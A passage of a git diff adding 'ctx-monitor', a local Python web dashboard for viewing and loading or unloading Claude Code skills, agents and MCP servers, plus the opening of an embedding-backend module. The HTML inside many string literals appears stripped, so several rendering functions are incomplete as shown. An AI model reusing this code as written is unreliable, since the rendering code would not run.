    " + ) + return _layout("Sessions", body) + + +def _render_session_detail(session_id: str) -> str: + detail = _session_detail(session_id) + audit = detail["audit_entries"] + events = detail["load_events"] + + audit_rows = "".join( + f"{html.escape(r.get('ts', ''))}" + f"{html.escape(r.get('event', ''))}" + f"{html.escape(r.get('subject', ''))}" + f"{html.escape(json.dumps(r.get('meta', {}))[:80])}" + for r in audit + ) + event_rows = "".join( + f"{html.escape(r.get('timestamp', ''))}" + f"{html.escape(r.get('event', ''))}" + f"{html.escape(r.get('skill') or r.get('agent') or '')}" + for r in events + ) + + body = ( + f"

    Session {html.escape(session_id)}

    " + f"
    {len(audit)} audit entries · " + f"{len(events)} load/unload events
    " + "

    Audit timeline

    " + "" + + audit_rows + + "
    tseventsubjectmeta
    " + "

    Load/unload events

    " + "" + + event_rows + + "
    tseventsubject
    " + ) + return _layout(f"Session {session_id}", body) + + +def _render_skills() -> str: + sidecars = _all_sidecars() + sidecars.sort(key=lambda s: (s.get("grade", "F"), -s.get("raw_score", 0.0))) + + # Sidebar stats for the filter UI. + grade_counts = {"A": 0, "B": 0, "C": 0, "D": 0, "F": 0} + type_counts = {"skill": 0, "agent": 0} + for sc in sidecars: + grade_counts[sc.get("grade", "F")] = grade_counts.get(sc.get("grade", "F"), 0) + 1 + st = sc.get("subject_type", "skill") + type_counts[st] = type_counts.get(st, 0) + 1 + + cards = "".join( + f"
    " + f"
    " + f"{html.escape(s.get('slug', ''))}" + f"{html.escape(s.get('grade', 'F'))}" + f"
    " + f"
    " + f"score {s.get('raw_score', 0.0):.3f} · {html.escape(s.get('subject_type', 'skill'))}" + f"{' · ' + html.escape(s.get('hard_floor','')) if s.get('hard_floor') else ''}" + f"
    " + f"
    " + f"sidecar" + f"wiki" + f"graph" + f"
    " + f"
    " + for s in sidecars + ) + + grade_checkboxes = "".join( + f"" + for g in ("A", "B", "C", "D", "F") + ) + type_checkboxes = "".join( + f"" + for t in ("skill", "agent") + ) + + body = ( + "

    Skills & agents

    " + f"

    {len(sidecars)} sidecars · click any card to drill in.

    " + "
    " + # ── Left filter sidebar ────────────────────────────────────── + "" + # ── Card grid ──────────────────────────────────────────────── + "
    " + + cards + + "
    " + "
    " + "" + ) + return _layout("Skills", body) + + +def _render_skill_detail(slug: str) -> str: + sidecar = _load_sidecar(slug) + if sidecar is None: + return _layout(slug, f"

    {html.escape(slug)}

    No sidecar.

    ") + audit = [r for r in _read_jsonl(_audit_log_path()) + if r.get("subject") == slug] + audit_rows = "".join( + f"{html.escape(r.get('ts', ''))}" + f"{html.escape(r.get('event', ''))}" + f"{html.escape(r.get('actor', ''))}" + for r in audit[-100:] + ) + hard_floor = sidecar.get("hard_floor") + hard_floor_html = ( + f" · floor {html.escape(str(hard_floor))}" if hard_floor else "" + ) + body = ( + f"

    {html.escape(slug)}

    " + f"
    " + f"grade {html.escape(sidecar.get('grade', 'F'))} " + f"score {sidecar.get('raw_score', 0.0):.3f} " + f"· type {html.escape(sidecar.get('subject_type', ''))}" + f"{hard_floor_html}" + "
    " + "

    Sidecar

    " + f"
    {html.escape(json.dumps(sidecar, indent=2)[:4000])}
    " + f"

    Audit timeline ({len(audit)} entries)

    " + "" + + audit_rows + + "
    tseventactor
    " + ) + return _layout(slug, body) + + +def _top_degree_seeds(limit: int = 18) -> list[dict]: + """Pick high-degree nodes from the graph as seed suggestions. + + Used by ``/graph`` landing page so the first-time visitor has + something to click. Falls back to empty on any graph-load failure. + """ + try: + G = _load_dashboard_graph() + except Exception: # noqa: BLE001 + return [] + if G.number_of_nodes() == 0: + return [] + ranked = sorted(G.degree, key=lambda kv: -kv[1])[:limit] + out: list[dict] = [] + for node_id, degree in ranked: + prefix, _, slug = node_id.partition(":") + seed_type = ( + "mcp-server" if prefix == "mcp-server" + else "agent" if prefix == "agent" + else "skill" + ) + out.append({ + "slug": slug, + "type": seed_type, + "degree": int(degree), + "label": G.nodes[node_id].get("label", slug), + }) + return out + + +def _render_graph(focus: str | None = None) -> str: + """Interactive graph view — cytoscape-rendered N-hop neighborhood. + + Cytoscape.js is loaded from a CDN. This is a local-dev dashboard + so the cost of one external asset is acceptable; stdlib-only + remains the server invariant. + """ + focus_slug = focus or "" + focus_js = json.dumps(focus_slug) + gstats = _graph_stats() + seeds = _top_degree_seeds() if not focus_slug and gstats.get("available") else [] + seed_html = "" + if seeds: + chips = "".join( + f"" + f"{html.escape(s['slug'])} " + f"· deg {s['degree']}" + f"" + for s in seeds + ) + seed_html = ( + "
    Popular seed slugs " + "" + "(click to explore 1-hop neighborhood)" + f"
    {chips}
    " + ) + stats_html = ( + f"{gstats.get('nodes', 0):,} nodes · " + f"{gstats.get('edges', 0):,} edges" + ) + body = ( + "

    Knowledge graph

    " + f"

    Enter an entity slug to explore its 1-hop " + f"neighborhood. Edges blend semantic + tag + slug-token " + f"signals (weight = final_weight). {stats_html}

    " + + seed_html + # Two-column layout — filter sidebar on the left (mirrors /wiki), + # cytoscape canvas on the right. Client-side JS hides nodes by + # type + tag without hitting the server so a user can carve out + # a subgraph without rebuilding anything. + + "
    " + # Left sidebar + "" + # Right: cytoscape canvas + "
    " + "
    " + "" + "" + ) + return _layout("Graph", body) + + +def _render_wiki_entity(slug: str) -> str: + """Render one wiki entity page (frontmatter + body).""" + path = _wiki_entity_path(slug) + if path is None: + return _layout( + slug, + f"

    {html.escape(slug)}

    " + f"

    No wiki page found for {html.escape(slug)}. " + f"Try the skills index.

    ", + ) + try: + raw = path.read_text(encoding="utf-8", errors="replace") + except OSError as exc: + return _layout( + slug, + f"

    {html.escape(slug)}

    read error: {html.escape(str(exc))}

    ", + ) + meta, md_body = _parse_frontmatter(raw) + sidecar = _load_sidecar(slug) + + fm_rows = "".join( + f"{html.escape(k)}" + f"{html.escape(v[:120])}" + for k, v in sorted(meta.items()) + ) + + sidecar_html = "" + if sidecar is not None: + sidecar_html = ( + "
    " + f"Quality " + f"{html.escape(sidecar.get('grade', 'F'))} " + f"score {sidecar.get('raw_score', 0.0):.3f}" + f"{' · floor ' + html.escape(sidecar.get('hard_floor','')) if sidecar.get('hard_floor') else ''}" + f"
    " + ) + + body = ( + f"

    {html.escape(slug)}

    " + + sidecar_html + + "
    " + f"
    {html.escape(md_body[:12000])}
    " + f"
    Frontmatter" + "" + "" + + (fm_rows or "") + + "
    FieldValue
    none
    " + "
    " + ) + return _layout(slug, body) + + +def _wiki_index_entries() -> list[dict]: + """List every wiki entity page under ~/.claude/skill-wiki/entities/. + + Returns a slug-sorted list of ``{slug, type, tags, description, path}``. + Reads only the YAML frontmatter (cheap) — never parses full bodies. + """ + base = _wiki_dir() / "entities" + if not base.is_dir(): + return [] + # Iterate all three entity subdirs. MCPs are sharded (one dir per + # first-char) so we glob recursively; skills + agents are flat. + sources: list[tuple[str, str, bool]] = [ + ("skills", "skill", False), # dir_name, entity_type, recursive + ("agents", "agent", False), + ("mcp-servers", "mcp-server", True), + ] + out: list[dict] = [] + for sub, entity_type, recursive in sources: + d = base / sub + if not d.is_dir(): + continue + paths = sorted(d.rglob("*.md") if recursive else d.glob("*.md")) + for path in paths: + slug = path.stem + if not _is_safe_slug(slug): + continue + try: + # Read only the first ~2 KB — enough for frontmatter. + head = path.read_text(encoding="utf-8", errors="replace")[:2048] + except OSError: + continue + meta, _ = _parse_frontmatter(head) + tags_raw = meta.get("tags", "") + # frontmatter parser returns strings — tags come as + # "[a, b]" or "a, b". Normalize to a small preview list. + tags_preview: list[str] = [] + for tok in tags_raw.replace("[", "").replace("]", "").split(","): + tok = tok.strip().strip("'\"") + if tok: + tags_preview.append(tok) + if len(tags_preview) >= 6: + break + out.append({ + "slug": slug, + "type": entity_type, + "tags": tags_preview, + "description": meta.get("description", "")[:200], + }) + return out + + +def _render_wiki_index() -> str: + """Card grid of every wiki entity — search + type filter + sidecar grades.""" + entries = _wiki_index_entries() + # Join with grade pills where a sidecar exists. + grade_by_slug: dict[str, str] = {} + for sc in _all_sidecars(): + slug = sc.get("slug") + if slug: + grade_by_slug[slug] = sc.get("grade", "") + + type_counts = {"skill": 0, "agent": 0, "mcp-server": 0} + for e in entries: + type_counts[e["type"]] = type_counts.get(e["type"], 0) + 1 + + cards = "".join( + "" + "
    " + f"{html.escape(e['slug'])}" + + (f"" + f"{html.escape(grade_by_slug[e['slug']])}" + if grade_by_slug.get(e['slug']) else + f"{html.escape(e['type'])}") + + "
    " + f"
    " + f"{html.escape(e['description'] or '(no description)')}" + "
    " + + (f"
    " + f"{' · '.join(html.escape(t) for t in e['tags'][:5])}
    " + if e["tags"] else "") + + "    " + for e in entries + ) + + type_checkboxes = "".join( + f"" + for t in ("skill", "agent", "mcp-server") + ) + + body = ( + "

    Wiki

    " + f"

    {len(entries)} entity pages under " + f"~/.claude/skill-wiki/entities/ · " + "search by slug / description / tag, or click a card to read the page.

    " + "
    " + # Left sidebar + "" + # Card grid + "
    " + + (cards or "

    No wiki entities found. " + "Extract graph/wiki-graph.tar.gz into " + "~/.claude/skill-wiki/ to populate.

    ") + + "
    " + "
    " + "" + ) + return _layout("Wiki", body) + + +def _kpi_summary(): + """Compute the KPI DashboardSummary using the default source layout. + + Returns ``None`` if the kpi_dashboard module can't be imported or + the required directories don't exist — the caller renders an + explanatory empty state instead of failing. + """ + try: + from kpi_dashboard import generate # type: ignore + from ctx_lifecycle import LifecycleSources # type: ignore + except Exception: # noqa: BLE001 — KPIs are advisory + return None + sidecar_dir = _sidecar_dir() + if not sidecar_dir.is_dir(): + return None + try: + from ctx_config import cfg # type: ignore + sources = LifecycleSources( + skills_dir=cfg.skills_dir, + agents_dir=cfg.agents_dir, + sidecar_dir=sidecar_dir, + ) + except Exception: # noqa: BLE001 — fallback: sidecar-only + sources = LifecycleSources( + skills_dir=sidecar_dir, + agents_dir=sidecar_dir, + sidecar_dir=sidecar_dir, + ) + try: + return generate(sources=sources, top_n=25) + except Exception: # noqa: BLE001 + return None + + +def _render_kpi() -> str: + """HTML-rendered KPI dashboard — grades, lifecycle, categories, + hard floors, top demotion candidates, archived entities. + + Mirrors the structure of ``kpi_dashboard.render_markdown`` so the + commit-friendly Markdown digest and the browser view show the + same numbers. + """ + summary = _kpi_summary() + if summary is None or summary.total == 0: + empty = ( + "

    KPIs

    " + "
    No KPI data yet." + "

    " + "The KPI dashboard reads from " + "~/.claude/skill-quality/*.json and " + "*.lifecycle.json. Run " + "ctx-skill-quality score --all to populate " + "sidecars, then reload this page.

    " + "

    CLI equivalent: " + "python -m kpi_dashboard render

    " + ) + return _layout("KPIs", empty) + + total = summary.total + + # Grade distribution pills + detail table + grade_pills = "".join( + f"{g}: {summary.grade_counts.get(g, 0)} " + for g in ("A", "B", "C", "D", "F") + ) + + def pct(n: int) -> str: + return f"{(100.0 * n / total):.1f}%" if total else "—" + + grade_rows = "".join( + f"{g}" + f"{summary.grade_counts.get(g, 0)}" + f"{pct(summary.grade_counts.get(g, 0))}" + for g in ("A", "B", "C", "D", "F") + ) + + lifecycle_rows = "".join( + f"{html.escape(state)}" + f"{summary.lifecycle_counts.get(state, 0)}" + for state in ("active", "watch", "demote", "archive") + ) + + floor_rows = "".join( + f"{html.escape(reason)}{count}" + for reason, count in sorted( + summary.hard_floor_counts.items(), key=lambda kv: (-kv[1], kv[0]), + ) + ) or "No hard floors active." + + category_rows = "".join( + "" + f"{html.escape(c['category'])}" + f"{c['count']}" + f"{c['avg_score']:.3f}" + f"{c['grade_mix'].get('A', 0)}" + f"{c['grade_mix'].get('B', 0)}" + f"{c['grade_mix'].get('C', 0)}" + f"{c['grade_mix'].get('D', 0)}" + f"{c['grade_mix'].get('F', 0)}" + "" + for c in summary.category_breakdown + ) or "No categorized entities." + + demotion_rows = "".join( + "" + f"{html.escape(c['slug'])}" + f"{html.escape(c['subject_type'])}" + f"{html.escape(c['category'])}" + f"{html.escape(c['grade'])}" + f"{c['score']:.3f}" + f"{html.escape(c['lifecycle_state'])}" + f"{c['consecutive_d_count']}" + f"{html.escape(c.get('hard_floor') or '—')}" + "" + for c in summary.low_quality_candidates + ) or "No active D/F grade entries — corpus is healthy." + + archived_rows = "".join( + "" + f"{html.escape(a['slug'])}" + f"{html.escape(a['subject_type'])}" + f"{html.escape(a['category'])}" + f"{html.escape(a.get('last_grade') or '—')}" + f"{html.escape(a.get('computed_at') or '—')}" + "" + for a in summary.archived + ) or "None." + + by_subject = summary.by_subject + subject_blurb = " · ".join( + f"{html.escape(s)}: {n}" for s, n in sorted(by_subject.items()) + ) or "—" + + body = ( + "

    KPIs

    " + "

    Aggregated from " + "~/.claude/skill-quality/*.json (quality sidecars) " + "and *.lifecycle.json (tier sidecars). " + f"Generated {html.escape(summary.generated_at)}.

    " + "
    " + f"Total entities: {total} " + f"· {subject_blurb}" + f"
    {grade_pills}
    " + "
    " + "JSON · " + "skill cards →
    " + "
    " + "
    " + "
    Grade distribution" + "" + + grade_rows + "
    GradeCountShare
    " + "
    Lifecycle tiers" + "" + + lifecycle_rows + "
    StateCount
    " + "
    " + "
    Hard floors active" + "" + + floor_rows + "
    ReasonCount
    " + "
    By category" + "" + "" + + category_rows + "
    CategoryCountAvg scoreABCDF
    " + "
    Top demotion candidates " + "(active or watch · grade D/F · sorted by D-streak desc, score asc)" + "" + "" + + demotion_rows + "
    SlugTypeCategoryGradeScoreStateD-streakHard floor
    " + "
    Archived" + "" + "" + + archived_rows + "
    SlugTypeCategoryLast gradeComputed at
    " + ) + return _layout("KPIs", body) + + +def _render_events() -> str: + """SSE endpoint page. The server emits events at /api/events.stream.""" + return _layout( + "Live events", + "

    Live events

    " + "

    Tails ~/.claude/ctx-audit.jsonl " + "via server-sent events.

    " + "
    "
+        "",
+    )
+
+
+def _render_loaded() -> str:
+    """Live view of ~/.claude/skill-manifest.json with load/unload actions.
+
+    Groups manifest entries by ``entity_type`` (skill / agent / mcp-server)
+    with a per-section count. Unload button posts both the slug and
+    entity_type so the server routes correctly — MCPs need
+    ``claude mcp remove``, skills + agents take the file-copy path.
+    Legacy entries without entity_type default to ``skill`` (what the
+    pre-install_utils manifest implicitly assumed).
+    """
+    manifest = _read_manifest()
+    load_rows = manifest.get("load", [])
+    unload_rows = manifest.get("unload", [])
+
+    def _etype(entry: dict) -> str:
+        # Missing entity_type => legacy skill entry.
+        return str(entry.get("entity_type") or "skill")
+
+    # Split loaded by entity_type for the 3-section layout.
+    by_type: dict[str, list[dict]] = {"skill": [], "agent": [], "mcp-server": []}
+    for e in load_rows:
+        by_type.setdefault(_etype(e), []).append(e)
+
+    def _row(e: dict) -> str:
+        slug = e.get("skill", "")
+        etype = _etype(e)
+        link = (
+            f""
+            f"{html.escape(slug)}"
+        )
+        return (
+            f""
+            f"{link}"
+            f"{html.escape(e.get('source', ''))}"
+            f"{html.escape(str(e.get('command', '') or e.get('priority', '—')))[:60]}"
+            f""
+            f""
+        )
+
+    def _section(title: str, etype: str) -> str:
+        rows = by_type.get(etype, [])
+        if not rows:
+            return (
+                f"
    {title} "
+                f"(0)
    "
+                f"
    "
+                f"None loaded.
    "
+            )
+        return (
+            f"
    {title} "
+            f"({len(rows)})
    "
+            f""
+            f""
+            + "".join(_row(e) for e in rows)
+            + "
    SlugSourceCmd / priority
    "
+        )
+
+    unload_html = "".join(
+        f""
+        f"{html.escape(e.get('skill', ''))}"
+        f"{html.escape(_etype(e))}"
+        f"{html.escape(str(e.get('source', '') or e.get('reason', ''))[:80])}"
+        f""
+        f""
+        for e in unload_rows
+    )
+
+    body = (
+        "
    Loaded entities — skills, agents & MCPs
    "
+        f"
    "
+        f"{len(load_rows)} currently loaded "
+        f"("
+        f"{len(by_type.get('skill', []))} skills · "
+        f"{len(by_type.get('agent', []))} agents · "
+        f"{len(by_type.get('mcp-server', []))} MCPs) · "
+        f"{len(unload_rows)} known-unloaded · "
+        f"source: ~/.claude/skill-manifest.json"
+        "
    "
+        "
    Load a new skill
    "
+        "
    "
+        "
    "
+        ""
+        ""
+        ""
+        "
    "
+        f"
    Currently loaded ({len(load_rows)})
    "
+        + _section("Skills", "skill")
+        + _section("Agents", "agent")
+        + _section("MCP servers", "mcp-server")
+        + f"
    Recently unloaded ({len(unload_rows)})
    "
+        ""
+        + unload_html + "
    SlugTypeSource / reason
    "
+        ""
+    )
+    return _layout("Loaded", body)
+
+
+def _render_logs() -> str:
+    """Filterable audit-log viewer — reads the last 500 lines of the log."""
+    entries = _read_jsonl(_audit_log_path(), limit=500)
+    rows = "".join(
+        f""
+        f"{html.escape(e.get('ts', ''))}"
+        f"{html.escape(e.get('event', ''))}"
+        f"{html.escape(e.get('subject', ''))}"
+        f"{html.escape(e.get('actor', ''))}"
+        f"{html.escape((e.get('session_id') or '')[:24])}"
+        f"{html.escape(json.dumps(e.get('meta', {}))[:100])}"
+        f""
+        for e in reversed(entries)
+    )
+    body = (
+        "
    Audit log
    "
+        f"
    Showing last {len(entries)} of "
+        f"~/.claude/ctx-audit.jsonl. "
+        "Live stream →"
+        "
    "
+        "
    "
+        ""
+        ""
+        "e.g. skill.loaded, kubernetes-deployment, or a session id"
+        "
    "
+        ""
+        "" + rows + "
    tseventsubjectactorsessionmeta
    "
+        ""
+    )
+    return _layout("Audit log", body)
+
+
+# ─── Mutation endpoints ──────────────────────────────────────────────────────
+
+
+def _is_safe_slug(slug: str) -> bool:
+    return is_safe_source_name(slug)
+
+
+def _perform_load(slug: str) -> tuple[bool, str]:
+    """Invoke skill_loader.load_skill(slug). Returns (ok, message)."""
+    if not _is_safe_slug(slug):
+        return False, f"invalid slug: {slug!r}"
+    try:
+        from ctx.adapters.claude_code.skill_loader import load_skill  # local import — heavy module
+    except ImportError as exc:
+        return False, f"skill_loader import failed: {exc}"
+    try:
+        load_skill(slug)
+    except Exception as exc:  # noqa: BLE001 — surface the error to the caller
+        return False, f"{type(exc).__name__}: {exc}"
+    # Audit entry so the dashboard timeline reflects the dashboard-driven load.
+    try:
+        from ctx_audit_log import log_skill_event
+        log_skill_event("skill.loaded", slug, actor="user",
+                        meta={"via": "ctx-monitor"})
+    except Exception:  # noqa: BLE001 — audit best-effort
+        pass
+    return True, "loaded"
+
+
+def _perform_unload(slug: str, entity_type: str = "skill") -> tuple[bool, str]:
+    """Unload the given entity.
+
+    Routes by ``entity_type``:
+      - ``skill`` / ``agent``: ``skill_unload.unload_from_session`` —
+        file-copy + manifest update, reversible via /api/load.
+      - ``mcp-server``: ``mcp_install.uninstall_mcp`` — wraps
+        ``claude mcp remove`` subprocess. Requires the claude CLI on
+        PATH; errors surface to the caller.
+    """
+    if not _is_safe_slug(slug):
+        return False, f"invalid slug: {slug!r}"
+    if entity_type == "mcp-server":
+        try:
+            from ctx.adapters.claude_code.install.mcp_install import uninstall_mcp
+        except ImportError as exc:
+            return False, f"mcp_install import failed: {exc}"
+        try:
+            result = uninstall_mcp(slug, wiki_dir=_wiki_dir(), force=True)
+        except Exception as exc:  # noqa: BLE001
+            return False, f"{type(exc).__name__}: {exc}"
+        if result.status not in ("uninstalled",):
+            return False, f"uninstall failed: {result.message or result.status}"
+        return True, f"unloaded mcp:{slug}"
+
+    # skill or agent — both flow through the same skill_unload module.
+    try:
+        from ctx.adapters.claude_code.install.skill_unload import unload_from_session
+    except ImportError as exc:
+        return False, f"skill_unload import failed: {exc}"
+    try:
+        removed = unload_from_session([slug], entity_type=entity_type)
+    except Exception as exc:  # noqa: BLE001
+        return False, f"{type(exc).__name__}: {exc}"
+    if not removed:
+        return False, f"{slug} was not in the loaded set"
+    return True, f"unloaded {', '.join(removed)}"
+
+
+# ─── HTTP handler ────────────────────────────────────────────────────────────
+
+
+def _server_shutdown_requested(server: Any) -> bool:
+    event = getattr(server, "_ctx_shutdown", None)
+    return bool(event is not None and event.is_set())
+
+
+class _MonitorHandler(BaseHTTPRequestHandler):
+    # Silence the per-request access log spam. Users running
+    # ctx-monitor get a clean stdout; errors still surface via
+    # log_error() below.
+    def log_message(self, fmt: str, *args: Any) -> None:
+        return
+
+    # CSRF defense. Dashboard mutation endpoints (/api/load, /api/unload)
+    # require same-origin POSTs plus a per-process token injected into the
+    # served dashboard page.
+    def _same_origin(self) -> bool:
+        origin = self.headers.get("Origin") or ""
+        if origin:
+            host_header = self.headers.get("Host", "")
+            expected = f"http://{host_header}"
+            return origin == expected
+        # No Origin header (curl, direct tool calls) is acceptable only
+        # when the mutation token below is also present.
+        return True
+
+    def _mutation_authorized(self) -> bool:
+        token = self.headers.get("X-CTX-Monitor-Token") or ""
+        return bool(_MONITOR_TOKEN) and secrets.compare_digest(token, _MONITOR_TOKEN)
+
+    def do_GET(self) -> None:  # noqa: N802 — stdlib signature
+        # Parse once so we can reuse the query string for /graph?slug=…
+        raw_path, _, raw_query = self.path.partition("?")
+        path = raw_path
+        qs = {}
+        if raw_query:
+            from urllib.parse import parse_qs
+            qs = {k: v[0] for k, v in parse_qs(raw_query).items()}
+        try:
+            if path == "/":
+                self._send_html(_render_home())
+            elif path == "/sessions":
+                self._send_html(_render_sessions_index())
+            elif path.startswith("/session/"):
+                self._send_html(_render_session_detail(path.split("/session/", 1)[1]))
+            elif path == "/skills":
+                self._send_html(_render_skills())
+            elif path.startswith("/skill/"):
+                self._send_html(_render_skill_detail(path.split("/skill/", 1)[1]))
+            elif path == "/loaded":
+                self._send_html(_render_loaded())
+            elif path == "/logs":
+                self._send_html(_render_logs())
+            elif path == "/graph":
+                self._send_html(_render_graph(qs.get("slug")))
+            elif path == "/wiki":
+                self._send_html(_render_wiki_index())
+            elif path.startswith("/wiki/"):
+                slug = path.split("/wiki/", 1)[1]
+                self._send_html(_render_wiki_entity(slug))
+            elif path == "/kpi":
+                self._send_html(_render_kpi())
+            elif path == "/events":
+                self._send_html(_render_events())
+            elif path == "/api/sessions.json":
+                self._send_json(_summarize_sessions())
+            elif path == "/api/manifest.json":
+                self._send_json(_read_manifest())
+            elif path == "/api/kpi.json":
+                summary = _kpi_summary()
+                self._send_json(summary.to_dict() if summary is not None else {
+                    "total": 0, "detail": "no sidecars yet",
+                })
+            elif path.startswith("/api/skill/") and path.endswith(".json"):
+                slug = path[len("/api/skill/"): -len(".json")]
+                sidecar = _load_sidecar(slug)
+                if sidecar is None:
+                    self._send_404(f"no sidecar for {slug}")
+                else:
+                    self._send_json(sidecar)
+            elif path.startswith("/api/graph/") and path.endswith(".json"):
+                slug = path[len("/api/graph/"): -len(".json")]
+                hops = max(1, min(int(qs.get("hops", 1)), 3))
+                limit = max(5, min(int(qs.get("limit", 40)), 150))
+                self._send_json(_graph_neighborhood(slug, hops=hops, limit=limit))
+            elif path == "/api/events.stream":
+                self._stream_audit_log()
+            else:
+                self._send_404(path)
+        except (BrokenPipeError, ConnectionAbortedError):
+            # Browser disconnected mid-response — benign for a local
+            # dashboard; nothing to do.
+            return
+        except Exception as exc:  # noqa: BLE001 — last-resort handler
+            self._send_500(exc)
+
+    def do_POST(self) -> None:  # noqa: N802 — stdlib signature
+        """Mutation endpoints. Same-origin only; JSON body required."""
+        path = self.path.split("?", 1)[0]
+        try:
+            length = int(self.headers.get("Content-Length") or 0)
+            raw = self.rfile.read(length) if length else b""
+            if not self._same_origin():
+                self._send_json_status(
+                    403, {"detail": "cross-origin POST denied"},
+                )
+                return
+            if not self._mutation_authorized():
+                self._send_json_status(
+                    403, {"detail": "monitor token required"},
+                )
+                return
+            content_type = self.headers.get("Content-Type", "").split(";", 1)[0]
+            if content_type.lower() != "application/json":
+                self._send_json_status(415, {"detail": "JSON body required"})
+                return
+            try:
+                body = json.loads(raw.decode("utf-8")) if raw else {}
+            except (UnicodeDecodeError, json.JSONDecodeError):
+                self._send_json_status(400, {"detail": "invalid JSON body"})
+                return
+
+            if path == "/api/load":
+                slug = str(body.get("slug", "")).strip()
+                ok, msg = _perform_load(slug)
+                self._send_json_status(
+                    200 if ok else 400, {"ok": ok, "detail": msg},
+                )
+            elif path == "/api/unload":
+                slug = str(body.get("slug", "")).strip()
+                # entity_type defaults to "skill" for backward compat with
+                # existing JS that only sends {slug}. New /loaded page
+                # sends {slug, entity_type} so MCPs flow through the
+                # subprocess unload path.
+                etype = str(body.get("entity_type", "skill")).strip() or "skill"
+                ok, msg = _perform_unload(slug, entity_type=etype)
+                self._send_json_status(
+                    200 if ok else 400, {"ok": ok, "detail": msg},
+                )
+            else:
+                self._send_404(path)
+        except (BrokenPipeError, ConnectionAbortedError):
+            return
+        except Exception as exc:  # noqa: BLE001
+            self._send_500(exc)
+
+    def _send_json_status(self, status: int, obj: Any) -> None:
+        raw = json.dumps(obj, default=str).encode("utf-8")
+        self.send_response(status)
+        self.send_header("Content-Type", "application/json")
+        self.send_header("Content-Length", str(len(raw)))
+        self.end_headers()
+        self.wfile.write(raw)
+
+    def _send_html(self, body: str) -> None:
+        raw = body.encode("utf-8")
+        self.send_response(200)
+        self.send_header("Content-Type", "text/html; charset=utf-8")
+        self.send_header("Content-Length", str(len(raw)))
+        self.end_headers()
+        self.wfile.write(raw)
+
+    def _send_json(self, obj: Any) -> None:
+        raw = json.dumps(obj, default=str).encode("utf-8")
+        self.send_response(200)
+        self.send_header("Content-Type", "application/json")
+        self.send_header("Content-Length", str(len(raw)))
+        self.end_headers()
+        self.wfile.write(raw)
+
+    def _send_404(self, detail: str) -> None:
+        body = f"
    404
    {html.escape(detail)}
    ".encode()
+        self.send_response(404)
+        self.send_header("Content-Type", "text/html; charset=utf-8")
+        self.send_header("Content-Length", str(len(body)))
+        self.end_headers()
+        self.wfile.write(body)
+
+    def _send_500(self, exc: BaseException) -> None:
+        self.log_error("render error: %s", exc)
+        body = f"
    500
    {html.escape(repr(exc))}
    ".encode()
+        self.send_response(500)
+        self.send_header("Content-Type", "text/html; charset=utf-8")
+        self.send_header("Content-Length", str(len(body)))
+        self.end_headers()
+        self.wfile.write(body)
+
+    def _stream_audit_log(self) -> None:
+        """Server-sent events: tail the audit log line-by-line."""
+        self.send_response(200)
+        self.send_header("Content-Type", "text/event-stream")
+        self.send_header("Cache-Control", "no-cache")
+        self.send_header("Connection", "keep-alive")
+        self.end_headers()
+
+        path = _audit_log_path()
+        position = path.stat().st_size if path.exists() else 0
+        last_heartbeat = time.monotonic()
+        try:
+            while not _server_shutdown_requested(self.server):
+                if path.exists() and path.stat().st_size > position:
+                    with path.open("r", encoding="utf-8") as f:
+                        f.seek(position)
+                        for line in f:
+                            if not line.strip():
+                                continue
+                            self.wfile.write(f"data: {line.rstrip()}\n\n".encode())
+                            self.wfile.flush()
+                        position = f.tell()
+                    last_heartbeat = time.monotonic()
+                elif time.monotonic() - last_heartbeat > 25:
+                    # SSE heartbeat comment — keeps proxies from timing out
+                    # on idle streams. Also detects dead clients (write
+                    # will raise BrokenPipeError).
+                    self.wfile.write(b": heartbeat\n\n")
+                    self.wfile.flush()
+                    last_heartbeat = time.monotonic()
+                time.sleep(0.5)
+        except (BrokenPipeError, ConnectionAbortedError, ConnectionResetError):
+            return
+
+
+# ─── CLI ─────────────────────────────────────────────────────────────────────
+
+
+class _MonitorServer(ThreadingHTTPServer):
+    daemon_threads = True
+    block_on_close = False
+
+    def __init__(self, *args: Any, **kwargs: Any) -> None:
+        self._ctx_shutdown = threading.Event()
+        super().__init__(*args, **kwargs)
+
+    def shutdown(self) -> None:
+        self._ctx_shutdown.set()
+        super().shutdown()
+
+    def server_close(self) -> None:
+        self._ctx_shutdown.set()
+        super().server_close()
+
+    def handle_error(self, request: Any, client_address: Any) -> None:
+        exc_type, _, _ = sys.exc_info()
+        if exc_type is not None and issubclass(
+            exc_type,
+            (BrokenPipeError, ConnectionAbortedError, ConnectionResetError),
+        ):
+            return
+        super().handle_error(request, client_address)
+
+
+def _make_monitor_server(host: str, port: int) -> _MonitorServer:
+    return _MonitorServer((host, port), _MonitorHandler)
+
+
+def serve(host: str = "127.0.0.1", port: int = 8765) -> None:
+    """Run the monitor. Blocks until Ctrl+C."""
+    global _MONITOR_TOKEN
+    _MONITOR_TOKEN = secrets.token_urlsafe(32)
+    server = _make_monitor_server(host, port)
+    url = f"http://{host}:{port}/"
+    print(f"ctx-monitor serving at {url}  (Ctrl+C to stop)", flush=True)
+    try:
+        server.serve_forever()
+    except KeyboardInterrupt:
+        print("ctx-monitor: shutdown", flush=True)
+    finally:
+        server.server_close()
+
+
+def main(argv: list[str] | None = None) -> int:
+    parser = argparse.ArgumentParser(
+        prog="ctx-monitor",
+        description="Local HTTP dashboard for ctx skill/agent activity.",
+    )
+    sub = parser.add_subparsers(dest="cmd", required=True)
+
+    sp = sub.add_parser("serve", help="Start the monitor web server")
+    sp.add_argument("--port", type=int, default=8765)
+    sp.add_argument(
+        "--host", default="127.0.0.1",
+        help="Host to bind (default: 127.0.0.1; use 0.0.0.0 to expose — be careful)",
+    )
+
+    args = parser.parse_args(argv)
+    if args.cmd == "serve":
+        serve(host=args.host, port=args.port)
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())
diff --git a/src/embedding_backend.py b/src/embedding_backend.py
new file mode 100644
index 0000000000000000000000000000000000000000..ef6771ca08e408d2b558ac40c2f15e84d8fbdcd7
--- /dev/null
+++ b/src/embedding_backend.py
@@ -0,0 +1,231 @@
+#!/usr/bin/env python3
+"""
+embedding_backend.py -- Pluggable embedding backends for the intake gate.
+
+Two backends ship in Phase 2:
+
+  - SentenceTransformerEmbedder   default, zero external daemon.
+                                  Uses sentence-transformers/all-MiniLM-L6-v2.
+  - OllamaEmbedder                opt-in, requires a local ollama daemon with
+                                  `nomic-embed-text` pulled.
+
+The ``Embedder`` Protocol lets the rest of the intake gate stay
+backend-agnostic. Both implementations return L2-normalised float32 vectors
+so downstream cosine similarity is a single dot product.
+
+Backend selection is centralised in ``get_embedder(name)``; callers pass the
+string from ``ctx_config.intake.embedding.backend``. Heavy imports
